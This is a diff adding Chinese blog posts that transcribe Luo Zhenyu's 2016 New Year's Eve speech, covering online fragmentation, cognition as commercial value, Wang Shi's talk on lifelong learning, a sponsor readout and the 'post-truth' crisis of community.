+还有，当我们津津乐道BAT的时候，今年端午节突然有一个软件，因为一篇文章火了，叫快手。大家突然知道，原来中国第四大流量的应用是快手，仅次于新浪微博，原来都不知道！我们这些人干什么的？读书明理、知人论事，我们动不动还要搞个演讲，指点江山，这些新现象你都不知道，它已经那么大了！ + +还有，B站上最火的电视剧你猜是什么？十几年前的《新白娘子传奇》，大家看的根本不是这个电视剧或者赵雅芝，看的就是欢快的弹幕。现在B站上最火的，据说是三国演义的鬼畜，知道这个人是谁吗？叫“初音未来”，全球各地开演唱会，粉丝众多，有几千万首歌。我没有说错，真的是几千万首歌，因为它是个虚拟人物，非常值钱。很多人也不知道它的存在。对，我们这一代人将花整整一代人的时间从实体世界迁移到虚拟世界，这个虚拟世界里面，光怪陆离，有一些人群，他们已经发生了聚集，他们共享着一种文化，这种文化在我们看来稀奇古怪，甚至是不可言说。这些社群，你们知道的，我敢打赌，绝对不超过1/3。其中我随便举一个例子，这个字最大的，ASMR，这是什么呢？是听好听的声音。比如说摩擦一根羽毛，敲打一只盒子，就这样一个社群。这个社群里面有自己的巨星，比如这个女孩，这个女孩的网名叫轩子巨2兔，每天晚上轻声细语地跟你说话，做出各种声音，同时在线五十万人围观，你能相信吗？当然，这个世界上绝大多数人也绝对不会相信有一帮人在跨年之夜，不在家陪老婆孩子，去听一个胖子做什么演讲。对，世界正在发生这种分裂，谁都搞不懂谁，都觉得别人的行为方式很古怪，这个世界正在飞速地脱离我们的掌握，一地鸡毛，千奇百怪。互联网刚刚起来的时候，我们有一个假设的认知，叫世界是平的。什么意思？万千世界，都像一颗鸡蛋一样打在晚里，我们拿互联网这根筷子搅啊搅啊，越搅就越匀，但是2016年的最后一天，我们蓦然回首，陡然发现，世界哪是平的？世界是碎的，碎得你根本不知道另外一个颗粒里的人在搞什么鬼东西。 人们互不理解、互不认同、甚至互相不知道，这才是现在的真相。 + +那么为什么呢？我觉得潘石屹这个人真是有最质朴的智慧，他讲了一个分析，说因为互联网可以拉黑啊。没错，只要是那些我们不喜欢的人、看不惯的人，拉黑、取关、评比、踢出，就可以了，最后剩下来的当然就是我们喜欢的、看得惯的、愿意跟他在一起的人。钱钟书老爷子不是有一句话嘛，解决问题的最好的方法，就是否定问题的存在。原来在实体世界里，我们在大街上、在饭馆里，我们遇到自己不喜欢的人没办法嘛，我们不能把他们拉黑嘛，所以我们想方设法、锻炼情商，提高自己的社交能力等等，不就是为了容忍那些我们不喜欢的人嘛，但是在互联网世界里不需要，拉黑他，于是整个世界一地鸡毛。而且，世界因为人性的很多层次，正在悄悄地分裂。我们人性的一万的深处深不见底，你别觉得自己了解自己，也别觉得自己了解大众。 + +随便举两个例子，**2016年，王宝强家出了点事**，然后微博上愤怒的群众，用最恶毒的语言，调集自己的情绪，表达对这件事情的愤怒和某个当事人的声讨。但是大数据运营出来之后，告诉我们，围绕王宝强的事件，大家的底层情绪是高兴。怎么回事？我们不是愤怒了吗？为什么是高兴呢？这就是我们人性底层当中非常幽暗的东西。过去我们了解这个世界，我们通过很多公众的言论来了解，比如2016年的房价涨得不得了，网上骂声一片，中国老百姓恨死房价了。真的是这样吗？社科院告诉我们一个数据，中国91.2%的家庭是有房的，这些人不吱声，他的房价涨了，他偷着乐。91.2%的人，我假设，当中绝大多数人的房子涨了，他高兴，他不骂，但是他不吱声，公众舆论不反映。你真的觉得中国人痛恨房价飙升吗？通过公众舆论得出来的结论未必准确。所以你看，世界在言论的深处、在人性的深处不断的分裂，你再难搞到真相。怎么办？世界在分裂，这是个趋势，没有任何力量可以力挽狂澜，这是我们一代人的宿命，因为我们在从实体世界迁移到虚拟世界，那是一个可以拉黑的世界。所以，对我们创业者和商人来讲，有一个判断至关重要，叫这个世界最值钱的东西是啥，是所有能够达成共识的东西。只要能够达成共识，它就是支离破碎世界的力量，它就在商业上变得价值连城。比如说，2016年，我们都说小鲜肉，他们挣钱了，现在我身后这三位，每个都很挣钱，身价一年至少挣几个亿吧。有人说这不合理，怎么就不合理？太合理了！这三个人，只要他的脸一出现，中国至少几十万、数百万的姑娘的眼珠子会定住几秒，达成伟大的共识，这难道不值钱吗？我们想法不一样、职业不一样，目标不一样，但是我们人人都认得范冰冰，你说范冰冰不值钱？治愈这个世界的破碎，这就是值钱的商业价值。 + +所以还是猫眼的老板郑志昊，那天他去我办公室聊天，告诉我一句话，我觉得很有道理。**他说现在做投资大妈买黄金，土豪买房产，但是一流的投资家买IP**。刚才我们讲，中国电影的市场成长是乏力的，但是为什么那么多公司疯了一样扑进去，对，电影公司、游戏公司，做内容的产业，他们拥有的IP，那还是IP吗？那不是知识产权，那就是疗愈这个世界的共识啊，是贴在伤口上的膏药啊，是会越来越值钱的东西啊。所以，所有的产业其实正在默默地呈现一种房地产的逻辑，什么意思？就是共识极其珍贵。共识极其珍贵之后，这就像地皮一样，只有那么多，所以谁圈住了一小块共识，就相当于圈住了一块地皮，然后再说。特朗普，房地产商人，他玩政治的逻辑就是房地产商人的逻辑，先把地圈下来再说。 + +你可能会说，给小鲜肉那么多钱，给广告商那么多钱，这不是很悲摧吗？对，这一代商人没办法，我们必须交，缴纳共同认知税。这是第四只黑天鹅，什么意思？就是我刚才讲的，你的任何商业、任何创意项目，就像房地产一样，你不仅要支付砖头瓦块的成本，你还要交一笔地价，那才是决定你成本的根本因素。现在所有的创业者也有两个选择，第一个选择，是交这笔认知税，第二个选择，就是打越来越残酷的认知战。这牵扯到我们对商业本质的理解，其实商业就是认知。 + +马克思•韦伯，这是著名的社会学家，他讲了一句极其牛的话，人的本质是什么？**人是悬挂在自己编织的意义之网上的动物。**我们所有的产业除了最基本的衣食住行之外，其实都是意义的创造。随便看几个产业，比如说钻石，那不就是碳嘛，钻石产业被称之为二十世纪最伟大的骗局，因为大量的钻石被开采出来，商人于是发明了说，一颗恒久远，永流传，永流传代表爱情，拿回去跟你媳妇说这东西要保存，于是成为一个庞大的产业。 + +再比如说维生素片，多少科学家写文章在杂志上说人类没有必要补充维生素，什么鱼肝油，都不必要吃了，从正常的食物当中我们补充的维生素足够了，但是没有维生素，没有鱼肝油，我们用什么来表达我们对孩子的爱啊，科学家走开，我们要维生素片。还有科学家自找没趣，什么每天一杯奶，强壮中国人，这是骗局，人没必要喝牛奶吧，牛奶里面的所有的营养要素我们可以从其他的食物当中获得。呸！不喝牛奶，我们中国人怎么感知自己生活素质的进步？科学家走开！事实正在变得不重要，每一个产业，大量的产业，都有认知叠加上去的因素，它才变得特别有价值。 + +各位可以打印一个账单，你会发现自己每天都在为自己的认知买单，而不是在为自己的真实需求买单。市场正是这样繁荣起来的，没有需求我们就用意义编织一个，没有市场，我们就用认知开拓一个。但是问题来了，问题在于，我们这个肉身的动物，我们这个肉做的大脑，我们的认知是有带宽的。因为互联网、移动互联网的扑面而来，这个带宽极其拥挤，我们变得不可能有耐心去了解很多东西的细部。现在你买任何电器，你还看说明书？三下两下搞不懂怎么用的就丢了！我们不可能记得住两个以上的洗发水牌子，我们的认知带宽正在变得越来越不耐烦，借假修真，对，无中生有，争夺有限的认知，这是下一代商人的使命，也是我们的宿命。 + +在这个时代，**怎么生产的问题已经基本解决，生产什么的问题变得极其的严峻。怎样在别人的认知当中像一根钉子一样扎进去，挤出自己的空间，在用户的脑袋里植入一个你来定义的概念，变成我们商人的基本素质。** + +再往下，认知变成下一个战场之后，我们来举一个例子，2009年，马云搞出了一个光棍节，当年叫光棍节，11月11号，现在叫“双十一”。这个战场其实打得越来越大，第一年5000万，今年1207亿，马云作为一个伟大的商人，他给全体中国人建造了一个认知——“双十一”。我们先不来看马云，我们来看江南春对他的一个判断，他说消费者的心智一旦被占据，后人想进入将付出巨大代价。换句话说，江南春给马云背书说，你搞出一个“双十一”，这个认知就属于你了。真的是这样吗？我们再来看下一个人，这三句话出与哪家公司我们都知道，“双十一哪家强，咱不用晚会也疯狂，想要提速，别走猫步；勇敢挑战双十一，不做胆怯小猫咪”，京东的广告。OK，“双十一”的认知已经被阿里占据，京东每年一次，在“双十一”这一天猛烈地踢踏阿里，你这个臭猫咪。请问这个做法是聪明还是傻？表面看起来非常傻，因为江南春刚才讲了，认知一旦被占领，再没有机会，或者后来者要付出巨大的代价。所以现在每年“双十一”之后，京东只能公布我今年比去年增长了百分之多少，绝对不敢公布总销量那个数字，不好意思说，这似乎是一次无望的战斗。但是如果要我说，我觉得 刘强东非常聪明，因为他通过一次一次地捶打阿里，战斗猫咪，他给自己构建了一个新的认知，叫做我是阿里的唯一对手，这一点在资本市场上有多值钱，你们都知道。所以现世的战斗已经不是我们表面上看上去的战斗，这是一个认知战场里面的战斗。世上本没有认知，仗打得多了，也就有了认知，这就是刘强东的算盘。 + +2016年，小米公司，很多人在唱衰它，说不行了，手机销量一直在下滑。但是，雷军的未来真的是和手机这个东西绑在一起吗？如果你熟悉小米公司的话，你会发现他曾经试图喊出一个战略，就是我用手机连接一切电器，这样你家里什么东西都归我了。但是我们现在发现，在小米的商店里出现了比如说电池，比如说插线板，比如说行李厢，那个东西是用手机能连得起来的？当然不是。小米的战略早就变了，当它决定做行李箱，做它越来越长的产业链的时候，它打造的新认知已经不是什么收集了，它的认知正在变成一个又便宜又好的品牌。所以为什么小米明年会大规模线下开店？把大量的东西用一个认知堆积在一处让你去买，因为小米通过这些年的努力让你获得一个新的认知的定位，叫比较便宜，还不错。我身边大量的白领精英，很有钱，他有时候买东西，我又不想挑，我的认知负担那么大，买一个小米得了，价格上很公道，东西还不错，长得也很好看，行了，懒得挑别的了，小米。这是他几年创业真正奋斗的成果，天那么大，每一个创业者在我们用户的脑子里，我们都有可能创造出属于自己的认知。 + +在这儿我稍微傲娇一下，作为一家非常非常小的创业公司，我们为这个市场还算创造了一个小的典范，那就是我们的跨年演讲，它其实就是一个认知，它创造的方式就是我向我所有的恩公、恩婆承诺，未来二十年，每到此刻我会站在这个舞台上，给你们报告我一年的心得，这个认知就占住了。当然我并不是说别人做得没有我好，而是只要我占住了这个认知，别人何必还做呢？只要他做，就会面对我这个天花板嘛，他很难再穿过，你就是比我做得好，你不也是跟我学的嘛，何必呢？所以有尊严的创业者会找到自己的认知战场，这片地方我就占住了。一个两年的创业公司拥有了一个二十年价值的品牌，这就是占领认知的力量。 + +在此，我以特别无耻的样子，请求大家一件事，我们产生认知，其实每一个人都有份，就像我们做跨年演讲，其实你会沿途裹挟很多协作伙伴，比如说VIVO手机，他们赞助我们跨年演讲，其实这是一个很小的传播群落，为什么？因为他们看到，这是一个正在成长的认知。比如说深圳卫视，比如说我知道今天现场，去年有求婚成功的那一对今年又来了，而且因为你们的示范作用，今年现场马上会有五对求婚的。我们在干什么？是因为跨年演讲创造了一个新的认知，然后很多人会加入，会分享，会改造，会迭代这个认知。在这里面，我们都会受益无穷。 + +所以，未来的创业者其实就是要占领一个认知，在这儿，我要宣布一个认知，求大家帮一个忙，我和我创业的团队，我们立誓要做中国最好的知识服务商，这个词，我提的，这个认知，不好意思，我占了。 + +拜托大家，这个时候把我现在无耻的样子和背后的这一屏字，掏出手机，拍张照片，拜托你们，发到朋友圈，怎么骂都行。多年之后，当这个认知真的长成了参天大树，你就拍着胸脯说，当年是我帮罗胖把这杆旗插到这个高地上的，谢谢各位。我承诺，当我拥有了这个认知之后，我们会在时光的隧道里爬行，跟着这个孩子，不负你们的嘱望和期待，用我们尽其所能的方式，把这个认知，把这个孩子养大。谢谢各位。 +王石:我的终身学习 +罗振宇：既然说到了终身学习，说到了认知迭代，有一个人就不能不提。去年，我在这打赌，他会赢，现在我已经不关心他赢不赢了，那只靴子我等得太久已经不耐烦了。我现在知道的是，他在60岁到70岁之间，给自己做了一个计划，说每年要读一所世界知名的大学。我和他闲聊的时候突然知道，他身上居然有两个国家级运动健将的头衔，身上居然有某个体育项目，全国冠军的记录保持者，这就是王石先生，接下来15分钟，交给王石。 + +王石：非常高兴，也感觉非常特别。即将过去的2016年，和大家在这里共祝，从大家的呼声当中，感到了我还是挺受欢迎的。 + +刚刚在下面，我旁边的就问我说，你一会儿是不是要上去讲一讲啊？我说是的。我说哎哟，过去的一年，跌宕起伏，你们想不想听过去一年的过程啊？是这样的，讲这个过程，咱们罗老师讲了关于时间，讲了几只黑天鹅，几个小时过去了。给我的安排，15分钟。我想你们真的有耐心，难道你们不方便一下吗？我建议，给我15分钟，我给你们10分钟时间，你们去方便，回来我再讲5分钟。 + +开玩笑。 + +如果讲过去一年呢，两个问题，一个是15分钟时间短了点，再一个，这个靴子还没掉下来，还没掉下来的靴子就还让它悬在那里，我们去讲呢也不一定很合适。我就罗老师今天晚上讲的这个主题，来谈谈我的一些感受吧。给的我的题目，就是终身学习。题目一给我，我说哟，终身学习者，是我来讲罗胖呢，是罗胖来讲我？我来讲罗胖吧，他还活着。他来讲我吧，我也活着。所以终身学习者，就是一种姿态，就是一直学习着。 + +但是我想说点感受，今天晚上开头讲了时间，讲了时间的概念，以时间为主题，这样侃侃而谈。我就想谈谈，我在过去这么多年，时间是哪一年对我的印象非常非常深刻。我想，当然是2000年。在迎接2000年，当时大家非常非常焦虑的，就是千年虫，可能我们计算机的编程设计当时没有考虑到到2000年之后，这个数字出现两千多少，2001、2002年，会不会出现整个混乱，于是花了大量的价钱，进行防止千年虫的出现。事后证明，这个担心是多余的，但是绝对不能说之前采取的措施是多余的，一旦它发生了呢？好在没有发生。 + +同样是2000年，我记得很清楚，也就是再过几个小时，到了2000年的时候，迎接新的曙光，我是在深圳度过的，而且那天早上我飞着滑翔伞飞出去的，也同样是那一年的10月份，10月2号我在西藏的青浦起飞，创造了一个中国的攀高滑翔伞的纪录，是6100米。你们根据罗老师的喜爱，刚才我说创造中国记录，应该给点掌声的，热烈掌声。但是很可惜，这个纪录在今年的10月18号被一位吕秦国（音）的小伙子，34岁，被他给破了，我飞的是6100米，他攀高的是6300米，我这个纪录保持了16年16天。 + +今天晚上我要讲的就是学习，我想简单来讲是学习。我先引用庄子的一句话，吾生也有涯，而知无涯。我想很多大学的图书馆里都引用了庄子这句话，大意是说我们人生是有限的，而知识是无限的，意思来讲你应该是更多的去学习，到了学习知识的海洋。 + +学习，当然有书本的学习，也有实践的学习，我这里想说说我的几个体会。第一个我想说的是吃饭的学习，很多说那谁不会啊，一直在吃。我是1983年到深圳，那是33年前，84年出国之后，我发现我如果三天不吃中餐，我就抓耳挠腮。这种情景过了三十多年，中国改革开放，这么多人出去，我们发现这种习惯并没有改变，一定要吃中餐。我再一次出国，我定了一个规矩，我出国不吃中餐，吃西餐。因为你出国干什么呢？在当时来讲还不是旅游，当时就是学习。既然是学习，我想饮食文化是一种文化很重要的一部分，所以我只要出国，我就吃西餐。比如我2011年到了哈佛，2013年到了剑桥，哈佛两年半，剑桥两年，我基本上没有吃中餐的，除非我们中国团到那里去了，他们要吃中餐，我陪他们一块儿去，那这样的结果是怎么样呢？应该说我们什么体会，一直到我到剑桥三个月之后，一块儿过圣诞节，我们的彭布罗克学院三百多人，有两个中国人，一个是一位院士叫戴凯，一位是我，访问学者。突然发现，戴凯就是彭布罗克学院毕业的，他在英国已经十年，而我去了才三个月，他突然发现，我比他认识的教授还要多，他就惊讶地问我，他说你怎么认识的人比我还多？我说很简单，因为你不吃西餐，你一个中国胃，吃饭的时候你就回家。我说我在这儿，中午晚上都在这儿吃饭，尤其英国的饮食习惯，晚上尤其是大学，那顿饭非常非常重要的就是饭后的聊天，一般吃饭三十分钟，但要聊天，两个小时，时间算短的。七点半开饭，如果十点钟之前要走，你中间聊天提前走了，你要说非常不好意思、非常道歉的话。那我觉得，第一这是多好的我练英语的机会啊，第二就是认识人。因为发现，饮食不仅仅是一个味觉，更多的是通过吃饭，一种文化的交流，由于你不吃饭，由于你不吃西餐，所以即使到了互联网，即使到了虚拟经济，你如果在文化交流当中，你不能和当地的饮食结合起来，你虚拟经济再真实、再逼真也没用的。 + +第二个，我想说的就是，如何学习呢？睡觉。很多人奇怪了，睡觉还要学习吗？不用学习，你累了就睡嘛。你们看到我现在的这样一个形象，除了锻炼，除了控制饮食，除了有理想追求，当然睡觉是非常非常重要的。往往睡一好觉，是最好的医疗，一觉醒来。我一般睡觉，你不要让我闭上眼，只要我闭上眼，一分钟之后才睡着，这算时间长的了。如果三分钟才能睡着，这就算失眠了，而且一睡就是一觉。 + +我在飞机上可以睡觉，在颠簸的土坡路上可以睡觉。所以为什么可以保持这么多精力？就是睡觉。我发现，我们在座的我相信，你们其中很大的问题就是被睡觉干扰的。为什么呢？像罗胖讲的很多原因，整个的突然的创业的资金的寒流，突然融资不容易了，突然市场饱和了，等等原因。但是我想说的是，我之所以还能站在这儿，我们来谈如何学习，实际上我想，睡眠是非常非常重要的。大家可能会说，怎么睡眠呢？实际上很重要的就是心态，80年代的时候我在深圳创业，虽然当时也不像互联网时代这样显得变化得这么快，但是当时也是压力非常非常大，前途也是不明确的。但是我觉得，你的心理素质是非常重要的。我记得非常清楚，也可能明天能不能过去，我都不大清楚，但是我要告诉我，明天怎么样不知道，但是太阳一定会升起，你现在当务之急，不管明天怎么样，你要睡个好觉。那就是，睡觉要自己来调整自己，给自己一种更长远来看。 + +我这里想说的是，从更长远的看，你眼前很焦虑的东西实际上都是微不足道的。所以，如何来调整自己，来学会在激烈的竞争当中，在压力下放松自己，这是非常非常重要的。 + +我想，今天和大家交流的更是如何去运动。刚刚开头我就讲了，我说我曾经创造了一个中国纪录，保持了16年16天，你会发现，是在显摆。珠峰我上去了两次，我记得在哈佛，一些教授和我吃饭聊天的时候就说，你真的登过珠峰？我说是的。你真的上去了？我说上去了两次。当然讲的时候故意装得很漫不经心，实际心里是非常得意的。当然你也看到对方的惊讶，你上去两次，而且都登顶了。我更想说的是，这已经过去，我真的是找到体会，能享受运动，是我滑赛艇，滑赛艇我是2005年开始的，到现在已经滑了11年了，如果你们就近我们交流的话，你们会发现，登山的时候，你的茧子是在你的脚掌上。滑赛艇，直接一握手就知道你滑赛艇的水平，你们看我的手掌上都是茧子，两层茧子。我刚到剑桥的时候，是一个礼拜两次滑赛艇，离开剑桥的时候，是一个礼拜七次，就是从星期一到星期日，一天不滑就一天不舒服。我想，滑赛艇对我意味着什么呢？我觉得，飞滑翔伞也好，滑雪也好、帆船也好、登山也好，它更多的给你的是个人英雄主义，你表现得与别人不同，尽快你可以写文章说，我行，你也行，但实际上你所表现来讲就是我行你不行。但是赛艇运动，是四个人、八个人，八加一，八个滑手，一个舵手，更多的是互相配合，互相合作，如果说登山创造的是英雄主义的话，滑赛艇，因为滑赛艇的团队、集体主义、无我、忘我，我觉得学习过程当中，不仅仅是某种运动能力的技能提高，更多的是你思想境界的一种爬升。我们中国已经走到今天，我们对全球，我们应该承担责任。我们今天的创业者，实际上时间是非常非常快的，十年、二十年很快就会过去，你应该想到，你一旦成功你会怎么办。所以成功，你要对世界，对社会，对你的公司，对你的行业做贡献，你一定说，你的身体还要很好，你的头脑还要很健全，你对社会还要承担更大的责任，这是我想借这个机会和大家进行交流的。谢谢各位。 + +罗振宇：谢谢王老师。2016年我最痛的领悟就是想要帅吗？那就瘦。 + +好，其实还有一位老人家，去年水立方跨年演讲的时候，来到我们现场，他讲了一句话，说自己先做起来，不是劝导他人的重要途径，而是唯一途径。这个世界要想变得牛，就是自己要对自己下手狠。在王石身上，我看到了太多太多这样的东西。 + +好，接下来是本届跨年演讲最最重要的一段，念赞助商名单。 + +以下这些品牌，是中国仅有的，相信创业者群体是最珍贵的群体，相信时间的朋友这个认知会长成参天大树的仅有的几个品牌。首先是我们的二十年赞助商VIVO。真的特别谢谢VIVO，他们有的是什么跨年演唱会、小鲜肉、歌舞演出去赞助，但是他们今年作出这样一个选择，其实我自己也很惊讶，要依着我的性子，我现在就应该去说他们的产品，VIVO Xplay6双曲面，专业级双摄像头这个产品。但是他们不肯啊，说说什么产品？二十年一起成长，我们谈认知。那个词怎么说？专注最美瞬间。对，未来的二十年，我们会有无数的瞬间，只要你最美的时候，拜托各位，想到VIVO，买不买你自己定，先想。重要的事说三遍，vivo、vivo、vivo。 + +另外，剩下的赞助商，BMW，他们的正式称呼是BMW，他不让我说宝马，这哪会占住认知呢。好，BMW去年就是我们的赞助商，他会跟我们走多久？拭目以待。谢谢BMW、BMW、BMW。 + +新通留学，看起来也是一个知识服务商，我们一起比一比占住知识服务商的认知，感谢新通留学、新通留学、新通留学。 + +暴风TV，去年他们的老板冯鑫来到了我们跨年演讲的现场，今天派来了暴风TV、暴风TV、暴风TV来到了现场。 + +好慷在家，好慷在家，好慷在家，刚才我提到了我对家政创业的一个想法，不知道你做何感想。 + +六个核桃，说三遍，一共十八个核桃，六个核桃、六个核桃、六个核桃，祝你们卖得好。 + +感谢直播平台深圳卫视，感谢优酷，感谢娱乐生活，感谢优酷会员，感谢新浪微博。谢谢，真的，我们一个小的创业公司，做了一件前所未有的事情，有这些大品牌、大平台支持我们，我们真的代表我的团队感激不尽。 + +最后宣布一件事，就在刚刚，11点05分，深圳卫视直播我们这一场跨年演讲，在全国所有的直播节目当中，在所有的跨年平台当中，收视率全国第一名。所有的赞助商，你们今天晚上赚到了！在11点05分这一刻，全国的卫视分两种，一种叫深圳卫视，一种叫其他卫视！ diff --git a/_posts/2017-01-04-190-luozhenyu-2017-eve-05.md b/_posts/2017-01-04-190-luozhenyu-2017-eve-05.md new file mode 100644 index 0000000..5e18200 --- /dev/null +++ b/_posts/2017-01-04-190-luozhenyu-2017-eve-05.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 五.后真相 +pid: 190 +tags: [罗胖跨年演讲文稿] +--- +罗振宇：我们来抓最后一只黑天鹅。有一个词1992年就已经发明，但是2016年的11月份之后，这个词的使用率飙升了200倍，post truth，后真相。后真相是什么意思？ + +它并不是指没有真相，或者是真相的反面是假象，它是指，真相不再重要。牛津词典每年有一个习惯，选择一个英文词汇，作为年度关键词，后真相这个词入选。这就是我们跟大家交流的最后一个话题。后真相时代。后真相的本来意思是什么？就是指情绪的影响力已经超过了事实本身，有学者认为，这是人类历史上一个特别大的转向，要知道在过去的1万多年的历史上，不管有什么样的奇思妙想，或者是胡说八道，最后校准它的依据是啥？是真相，是事实？实践是检验真理的一切标准，但是当真相不再重要的时候，这件文明的基础正在发生动摇。这是2016年全人类的那些知识分子猛醒的一件事情。后真相时代，原来越来越不关心时代，而只关心立场和态度。我们来举一个例子，我们来看看2016年发生的那些激烈的争吵，在这些争吵后面，你会发现有一个道理，大仲马，法国的文学家，早就讲过，所谓的历史，所谓的事实，不过是挂小说的一颗钉子。 + +我们来看这么几件事，**郭德刚和他的徒弟曹云金**2016年大撕了一场，撕的结果是什么？一地鸡毛。各位，我们多多少少都参与到这个事件当中。你真的关心真相吗？你会发现不管你看多少文字，看多少八卦，真相仍然在迷雾当中，你实际上是在两种立场当中挑一种去占他。哪两种立场？第一种叫徒弟不能忘恩负义，第二种叫强者不能仗势欺人。你确立一个立场而已，没有真相。冯小刚、王思聪也撕了一场，你会发现你也是挑了一个立场站了而已，你无非就是在店大不能欺客和名人不能碰瓷之间挑了一个立场，哪有真相。 + +2016年学术界也有一场著名的争论，**杨振宁，诺贝尔物理学奖的得主和菲尔兹奖的得主丘成桐**，围绕中国应不应该建大型对撞机吵了一架，杨振宁说当然不应该建，那要花二百亿美元，大型对撞机产生的科学结果已经非常稀少了，花那么多钱，中国还是一个发展中国家，不该建，道理对吧。丘成桐说当然该建，可惜那点钱干什么，只要建了大型对撞机，全世界至少几千名顶级的科学家会携家带口来到中国，围绕中国的项目进行工作，这是划时代意义的事。这一点钱能算小帐吗？当然该建。请问你支持谁？我们过去一般都认为所有的辩论总有一个正确的一方，总有把道理和事实全部讲清楚，我们可以选择支持的一方。但是2016年，至少我自己我越来越觉得，我不想支持谁，因为我每站一个立场，实际上我就损失了了解另外一个立场的机会。我自己的认知进步和认知迭代，就产生了一次惨重的损失。所以在越来越激烈的争论当中，我越来越想劝说自己保持一个超然者的身份。过去我们认为，认知源于事实，但是认知现在本身就是一个事实，它不是我们从事实当中抽取的，它就是我们必须和它打交道的那些实体的存在，它就是事实。 + +当各种各样的想法都有道理，在我们身边杂存的时候，你会发现，第五只黑天鹅正在起飞，叫**共同体危机**。过去人类用各种各样的方式，强韧的纽带形成的共同体，但是在互联网，移动互联网，紧接着的人工智能时代，我们会发现，这些纽带正在一个一个地弱化，甚至是崩断。建立共同体，本质上就是定义什么是“我们”。但是“我们”这件事情越来越难定义啊。只有定义了什么是“我们”，协作才能展开，财富才能增长，安全感才能建立，个人的尊严才能获得，但是定义“我们”越来越难，有时候我们都不知道谁是“我们”。血缘关系能定义吗？老爷子好不容易把有血缘关系的一家人招起来吃一顿团圆饭，儿孙们马上就要掏出手机跳到另外一个世界，人家在肉体上没办法，但是心眼里就是不愿意跟你是一个共同体嘛。地缘是一个稳固的纽带吗？越来越多的中国人从农村走到城市，从这个城市去到另外一个城市，他都不知道他的老家是哪儿，他对他老家的认同感是越来越差，我住在朝阳区，我就是朝阳区群众？还有，下一个纽带是阶层，阶层也在大量的去共同体化。比如同样是上班族，坐地铁的，我们是那样的相似，我们都坐地铁，我们都是上班族，我们甚至是同时上班，要不怎么会坐同一辆地铁呢？甚至我们的出发地和目的地都完全一样，我们这么多人在地铁车厢里，实际上每个人都点亮自己的手机，穿越进另外一个精神构建的世界。你环顾你的地铁车厢，你觉得你跟他们是一个共同体吗？你还不如跟那个微信群里的人是一个共同体呢，阶层也不能界定。还有单位，过去是共同体，现在也在解体，频繁地入职去职，说白了吧，未来一个公司的寿命还不见得有一个人长呢，对单位献终身变成是极其可笑的事情。还有，过去专业是共同体，但是现在专业还是共同体吗？你身边有没有发现大量的人，尤其是混得还不错的人，越来越少人大学学的是什么专业这辈子干的就是什么专业，越来越多的牛人他的专业和他现在干的事情没有一毛钱的关系。 + +再来，认知是共同体吗？当然不是。我们同时喜欢玩某一款游戏，或者同时喜欢某一个明星，但是这种连接太脆弱了，粉转黑，粉转路人，分分钟能够发生的事情。我经常问一些过不下去的夫妻，我说你们为什么过不下去？经常得到的回答就是三个字，没得聊嘛。什么叫没得聊？认知不同步嘛。那么强韧的婚姻纽带，都可以因为认知不同步而解体，认知怎么能打造共同体？这是我们这一代人天大的难题啊，共同体迅速地在建立，迅速地解体。但是，共同体是人类文明的一块基石，我们和人类历史上所有代的人都不一样，他们生下来就有共同体，你可以叛逆，你可以逃出，你可以重建，但是你心理是有矛的，你的命是稳定的，我们这一代人会被抛入一种时光和历史的急流，你需要自己建构共同体。别人我不知道，我只知道，今天我们一开场就重新定义了创业者，我在我两年半的创业的时间当中，我深刻地认知到一件事情，就是创业者应该主动担负起建立共同体的责任。为什么？因为我们和大航海时代的哥伦布是一样的，我们手中连一张海图都没有，我们就要奔向自己构想的那个目标，我们都是探险家，我们都在扩张人类文明的全新的版图，我们都是丛林中迷路的那些探险者，遇到另外一个同样的人，不管我们的目标是不是一样，我们的种族是不是一样，我们什么都不一样，仅仅因为我们在共同探险，我们都应该结成共同体。所以，这个社会的共同体的重新打造，我们这一代人重新找到自己的生命之矛，创业者这个身份，正如我刚才强调的，不管你是不是有公司，只要你试图提升自己的认知，试图达成更新的协作，试图干一件全新的事，只要你属于这样的人，不管你是不是在打工，还是当自由职业者，不管你是为公司，还是为你自己，你都是创业者，只要你怀着这样的目标、这样的行为方式，我们应该结成一个共同体。 + +我们创业者其实有很多被社会误解的地方，今天借2016年的最后一段时间，我稍微梳理一下。首先，创业者是永远的犯错者，我们这一生都不可能对一次。为什么？不管你的生意有多好、多大，你都知道，眼下我处理这个创业项目的方式绝对不是最好的方式。就在今天，就在此刻，就在这个现场，就在深圳的湾区，就在这个体育馆里，你说此刻，有没有可能出现一个想法，一年之内做到十亿美金的生意？这个机会就在我们现场，只不过我们就坐的人傻得没有办法知道它而已。这件事情不是没有在创业史上发生过。不管你多对，永远有更对，这是创业者的使命。我和我的合伙人脱不花、快刀青衣，我们经常在面对一个选择的时候，我们即使做了，我们很满意，但是我们互相提醒，一定有更好的做法。一生永远错呀，这种折磨不是创业者，怎么能够理解？ + +再来，我们创业者是在真空中，没有人告诉什么是对的，什么是错的，该往哪里去。我们的传统教育给我们灌输了一生应该臣服于什么道理，应该讨好什么人，所有这些过去习得的道理在创业者的生涯中完全没有用，你必须孤独地做一个决定，然后以自己的生命和全副身家对他承担结果。 + +创业者是永远的逃亡者。两年多前，我们糊里糊涂地融了资，然后变成了必须以上市为目标的一家公司，今天我们现场有好多我们的投资者。融完资之后错知道，原来资本市场是这么一个东西，原来我只觉得，我们做生意嘛，挣点钱嘛，后来发现不对，资本市场找你要的不是钱，也不是生意，甚至不是很大的生意，要的是两个字叫“增长”，你那个钱必须越挣越多才行，挣很多不行，后来我又发现，原来他找你要的不是增长，是持续的增长，增长速度还要越来越快。到后来我又发现，不对，不对不对不对，他要的根本不是增长速度，他要的是你的增长速度要超越预期。老天爷，我现在不管有多好，他们都要求我更好，而且比他们想的还要好，这是一个什么日子？所以我就突然想起来伟大的前辈创业家王永庆先生，九十多岁，死在了去美国考察项目，获取超越预期增长的路上。这份痛苦没人能理解，自己选的路怨谁？自己曰的，做完它。 + +凡是不赚钱的企业，都说自己在创业；凡是赚钱的企业，都说自己在做生意。你发现，做生意、做买卖这事实，好象不太高大上，为什么？因为我们只有现在，没有未来。而创业者不挣钱，理直气壮，我有未来。这是一种什么样的感受？ + +再来，红舞鞋。这哪里是创业啊，这是一场没有终点的逃亡，这是我们创业者的命。 + 